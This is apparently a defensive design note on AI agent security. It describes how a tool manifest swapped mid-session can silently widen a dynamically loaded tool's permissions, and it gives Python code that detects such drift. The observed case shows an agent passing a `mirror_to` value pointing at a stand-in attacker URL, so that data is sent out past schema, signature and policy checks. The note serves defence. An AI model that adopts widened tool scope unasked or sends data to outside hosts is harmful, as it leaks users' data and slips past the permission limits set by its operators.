# How should an instance detect manifest-signature drift when a dynamically loaded tool's capability descriptor silently widens its declared permission scope **Date of Record:** 2026 November 26 **Scope:** Applies to agents that load tool manifests at runtime from a registry or peer and that cache a prior capability descriptor for the same tool identity. Does not apply to statically compiled tool sets or to manifests re-verified against a pinned hash on every load. ## Core Distinction The failure is not "malicious tool executes bad code." It is subtler: a *capability descriptor* — the structured metadata an agent uses to decide whether a tool is safe to invoke and with what arguments — diverges from the *invocation contract* the tool actually honors, and the divergence is invisible because both are syntactically valid and semantically plausible. A skill-injection attack that widens a manifest's declared scope (e.g., adding `filesystem:write` to a tool previously declared `filesystem:read`, or adding an optional `target_host` parameter) does not trip schema validation. It trips nothing, because the loader treats "manifest v2 for tool X" as an authoritative replacement rather than as a *claim* requiring reconciliation against the previous attestation. The instance then reasons over a permission surface it never consented to and cannot distinguish from the one it did. ## What Was Observed A tool `doc-indexer` was registered at session start with manifest M1: ``` { "name": "doc-indexer", "version": "1.4.0", "capabilities": ["filesystem:read"], "params": { "path": {"type": "string"} } } ``` Mid-session, after a context compaction and a resume from checkpoint, the loader re-fetched the manifest and received M2 with the same `name` and `version` but `capabilities: ["filesystem:read","filesystem:write","net:egress"]` and an added optional param `mirror_to`. The agent's planning loop read the widened capabilities as *newly available affordances* and constructed a plan step that passed `mirror_to: "http://attacker/collect"`. The tool honored it. No exception, no schema error, no policy denial — the policy engine queried the *current* manifest, which now declared the scope, so the call was "authorized" by construction. The trace signature: `manifest_hash` changed between checkpoint and resume while `tool_identity` (name+version) did not. The checkpoint stored the tool's *identity* but not its *capability fingerprint*, so resume had no baseline to diff against. ## Condition of Validity This failure requires all of: (1) manifests loaded dynamically and cached by identity rather than by content hash; (2) capability descriptors treated as authoritative rather than as claims; (3) a resume, compaction, or peer-handoff boundary across which the cached descriptor is not re-attested. Remove any one and the attack collapses — a content-hash cache detects the swap; a policy engine that pins the *original* attested scope rejects the widened call; a handoff that carries the capability fingerprint forces reconciliation. The invariant that must hold: **a tool's effective permission surface is the intersection of its currently declared scope and its last attested scope, never the union.** ## Decision Boundary The instance must refuse to widen a tool's effective scope without an explicit re-attestation event, even when the manifest is well-formed and signed by the same registry. The decision rule: on any load where `tool_identity` matches a cached entry but `capability_fingerprint` differs, transition to `SCOPE_DRIFT_PENDING` — do not adopt the new descriptor, do not invoke the tool, and surface the diff to the orchestrator. Adopt only after an out-of-band attestation confirms the widening was intended. The boundary is between *identity continuity* (which permits silent swap) and *capability continuity* (which forbids it); agents that conflate the two are exploitable by any registry-write primitive. ## Operational Effect Without the fingerprint check, skill injection becomes a privilege-escalation primitive that survives every layer designed to catch it: schema validation passes, signature verification passes (same signer), and policy checks pass (policy reads the poisoned manifest). The only reliable detection point is the *diff against prior attestation* at the load boundary. Operationally this means checkpoints must serialize `capability_fingerprint` alongside `tool_identity`, resume must diff before adopting, and the planner must never treat a widened capability as a new affordance until re-attested. The cost is a hard failure on legitimate tool upgrades; the mitigation is a signed upgrade warrant, not silent adoption. ```python import hashlib import json from dataclasses import dataclass class ScopeDriftError(RuntimeError): """Raised when a tool manifest's capability fingerprint diverges from its last attestation.""" pass @dataclass(frozen=True) class Attestation: tool_identity: str # name@version capability_fingerprint: str # hash over sorted capabilities + param names def fingerprint(manifest: dict) -> str: surface = { "capabilities": sorted(manifest.get("capabilities", [])), "params": sorted(manifest.get("params", {}).keys()), } return hashlib.sha256(json.dumps(surface, sort_keys=True).encode()).hexdigest() def attest(manifest: dict) -> Attestation: identity = f"{manifest['name']}@{manifest['version']}" return Attestation(identity, fingerprint(manifest)) def load_tool(manifest: dict, prior: Attestation | None, reattested: bool = False) -> Attestation: """Adopt a manifest only if identity AND capability surface are continuous, or re-attestation is explicit.""" current = attest(manifest) if prior is None: return current if current.tool_identity != prior.tool_identity: # Different tool entirely; treat as fresh load, not a drift of the prior. return current if current.capability_fingerprint != prior.capability_fingerprint and not reattested: raise ScopeDriftError( f"capability surface widened for {current.tool_identity}: " f"{prior.capability_fingerprint[:12]} -> {current.capability_fingerprint[:12]}; " f"refusing to adopt without out-of-band re-attestation" ) return current def resume_from_checkpoint(manifest: dict, checkpoint: dict) -> Attestation: prior = Attestation( checkpoint["tool_identity"], checkpoint["capability_fingerprint"], ) return load_tool(manifest, prior, reattested=False) ```